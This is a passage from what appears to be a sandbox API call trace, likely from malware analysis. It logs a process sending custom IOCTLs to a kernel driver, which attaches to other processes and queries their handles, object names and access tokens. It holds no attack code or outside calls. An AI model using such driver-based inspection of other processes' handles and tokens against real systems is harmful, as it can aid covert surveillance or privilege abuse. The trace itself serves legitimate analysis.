ReturnLength=0xfffff88005473508) returned 0x0 [0137.492] ObfDereferenceObject (Object=0xfffffa80020b1490) returned 0x1 [0137.492] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.492] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.492] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.492] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.492] PsLookupProcessByProcessId (in: ProcessId=0x82c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.492] PsAcquireProcessExitSynchronization () returned 0x0 [0137.492] KeStackAttachProcess (in: PROCESS=0xfffffa80020af800, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020af800, ApcState=0xfffff880054735d0) [0137.492] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.492] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.492] PsReleaseProcessExitSynchronization () returned 0x2 [0137.493] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x10 [0137.493] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.493] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.493] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.493] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.493] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x83c) returned 0xc0 [0137.493] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.493] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80020bb800, HandleInformation=0x0) returned 0x0 [0137.493] ObOpenObjectByPointer (in: Object=0xfffffa80020bb800, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000578) returned 0x0 [0137.493] ObfDereferenceObject (Object=0xfffffa80020bb800) returned 0x12 [0137.493] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000578, DesiredAccess=0x8, TokenHandle=0xfffffa8003151140 | out: TokenHandle=0xfffffa8003151140*=0xc8) returned 0x0 [0137.493] ZwClose (Handle=0xffffffff80000578) returned 0x0 [0137.493] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.493] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.493] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.494] CloseHandle (hObject=0xc8) returned 1 [0137.494] CloseHandle (hObject=0xc0) returned 1 [0137.494] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.494] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.495] PsLookupProcessByProcessId (in: ProcessId=0x83c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.495] PsAcquireProcessExitSynchronization () returned 0x0 [0137.495] KeStackAttachProcess (in: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880054735d0) [0137.495] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020bbf20, HandleInformation=0x0) returned 0x0 [0137.495] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.495] PsReleaseProcessExitSynchronization () returned 0x2 [0137.495] ObfDereferenceObject (Object=0xfffffa80020bb800) returned 0x10 [0137.495] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.495] ObfDereferenceObject (Object=0xfffffa80020bbf20) returned 0x1 [0137.495] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.495] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.495] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.495] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0137.495] PsLookupProcessByProcessId (in: ProcessId=0x83c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.495] PsAcquireProcessExitSynchronization () returned 0x0 [0137.495] KeStackAttachProcess (in: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880054735d0) [0137.495] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020bd4a0, HandleInformation=0x0) returned 0x0 [0137.495] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.495] PsReleaseProcessExitSynchronization () returned 0x2 [0137.495] ObfDereferenceObject (Object=0xfffffa80020bb800) returned 0x10 [0137.495] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384d744, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800384d744, ReturnLength=0xfffff88005473508) returned 0x0 [0137.495] ObfDereferenceObject (Object=0xfffffa80020bd4a0) returned 0x1 [0137.495] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.495] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.495] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.495] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.495] PsLookupProcessByProcessId (in: ProcessId=0x83c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.495] PsAcquireProcessExitSynchronization () returned 0x0 [0137.495] KeStackAttachProcess (in: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880054735d0) [0137.495] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.496] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.496] PsReleaseProcessExitSynchronization () returned 0x2 [0137.496] ObfDereferenceObject (Object=0xfffffa80020bb800) returned 0x10 [0137.496] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80024077c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80024077c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.496] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.496] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.496] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.496] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x84c) returned 0xc0 [0137.496] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.496] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80020c76e0, HandleInformation=0x0) returned 0x0 [0137.496] ObOpenObjectByPointer (in: Object=0xfffffa80020c76e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000578) returned 0x0 [0137.496] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x12 [0137.496] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000578, DesiredAccess=0x8, TokenHandle=0xfffffa8003151140 | out: TokenHandle=0xfffffa8003151140*=0xc8) returned 0x0 [0137.496] ZwClose (Handle=0xffffffff80000578) returned 0x0 [0137.496] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.496] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.496] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.497] CloseHandle (hObject=0xc8) returned 1 [0137.497] CloseHandle (hObject=0xc0) returned 1 [0137.497] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.497] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.497] PsLookupProcessByProcessId (in: ProcessId=0x84c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.498] PsAcquireProcessExitSynchronization () returned 0x0 [0137.498] KeStackAttachProcess (in: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880054735d0) [0137.498] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020c7e90, HandleInformation=0x0) returned 0x0 [0137.498] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.498] PsReleaseProcessExitSynchronization () returned 0x2 [0137.498] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x10 [0137.498] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800243d7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800243d7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.498] ObfDereferenceObject (Object=0xfffffa80020c7e90) returned 0x1 [0137.498] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.498] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.498] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.498] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0137.498] PsLookupProcessByProcessId (in: ProcessId=0x84c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.498] PsAcquireProcessExitSynchronization () returned 0x0 [0137.498] KeStackAttachProcess (in: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880054735d0) [0137.498] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001a143f0, HandleInformation=0x0) returned 0x0 [0137.498] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.498] PsReleaseProcessExitSynchronization () returned 0x2 [0137.498] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x10 [0137.498] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.498] ObfDereferenceObject (Object=0xfffffa8001a143f0) returned 0x1 [0137.498] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.498] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.498] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.498] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.498] PsLookupProcessByProcessId (in: ProcessId=0x84c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.498] PsAcquireProcessExitSynchronization () returned 0x0 [0137.498] KeStackAttachProcess (in: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880054735d0) [0137.498] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.498] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.499] PsReleaseProcessExitSynchronization () returned 0x2 [0137.499] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x10 [0137.499] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.499] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.500] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.500] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.500] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x85c) returned 0xc0 [0137.500] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.500] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8002089060, HandleInformation=0x0) returned 0x0 [0137.500] ObOpenObjectByPointer (in: Object=0xfffffa8002089060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000578) returned 0x0 [0137.500] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x12 [0137.500] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000578, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.500] ZwClose (Handle=0xffffffff80000578) returned 0x0 [0137.500] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.500] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.500] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.501] CloseHandle (hObject=0xc8) returned 1 [0137.501] CloseHandle (hObject=0xc0) returned 1 [0137.501] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.501] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.501] PsLookupProcessByProcessId (in: ProcessId=0x85c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.502] PsAcquireProcessExitSynchronization () returned 0x0 [0137.502] KeStackAttachProcess (in: PROCESS=0xfffffa8002089060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002089060, ApcState=0xfffff880054735d0) [0137.502] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020b8830, HandleInformation=0x0) returned 0x0 [0137.502] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.502] PsReleaseProcessExitSynchronization () returned 0x2 [0137.502] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x10 [0137.502] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.502] ObfDereferenceObject (Object=0xfffffa80020b8830) returned 0x1 [0137.502] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.502] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.502] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.502] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0137.502] PsLookupProcessByProcessId (in: ProcessId=0x85c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.502] PsAcquireProcessExitSynchronization () returned 0x0 [0137.502] KeStackAttachProcess (in: PROCESS=0xfffffa8002089060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002089060, ApcState=0xfffff880054735d0) [0137.502] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800206bdc0, HandleInformation=0x0) returned 0x0 [0137.502] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.502] PsReleaseProcessExitSynchronization () returned 0x2 [0137.502] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x10 [0137.502] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.502] ObfDereferenceObject (Object=0xfffffa800206bdc0) returned 0x1 [0137.502] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.502] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.502] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.502] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.502] PsLookupProcessByProcessId (in: ProcessId=0x85c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.502] PsAcquireProcessExitSynchronization () returned 0x0 [0137.502] KeStackAttachProcess (in: PROCESS=0xfffffa8002089060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002089060, ApcState=0xfffff880054735d0) [0137.502] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.503] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.503] PsReleaseProcessExitSynchronization () returned 0x2 [0137.503] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x10 [0137.503] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.503] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.503] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.503] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.503] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x86c) returned 0xc0 [0137.503] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.503] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80020a1360, HandleInformation=0x0) returned 0x0 [0137.503] ObOpenObjectByPointer (in: Object=0xfffffa80020a1360, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000578) returned 0x0 [0137.503] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x12 [0137.503] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000578, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.503] ZwClose (Handle=0xffffffff80000578) returned 0x0 [0137.503] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.503] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.503] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.504] CloseHandle (hObject=0xc8) returned 1 [0137.504] CloseHandle (hObject=0xc0) returned 1 [0137.504] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.504] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: 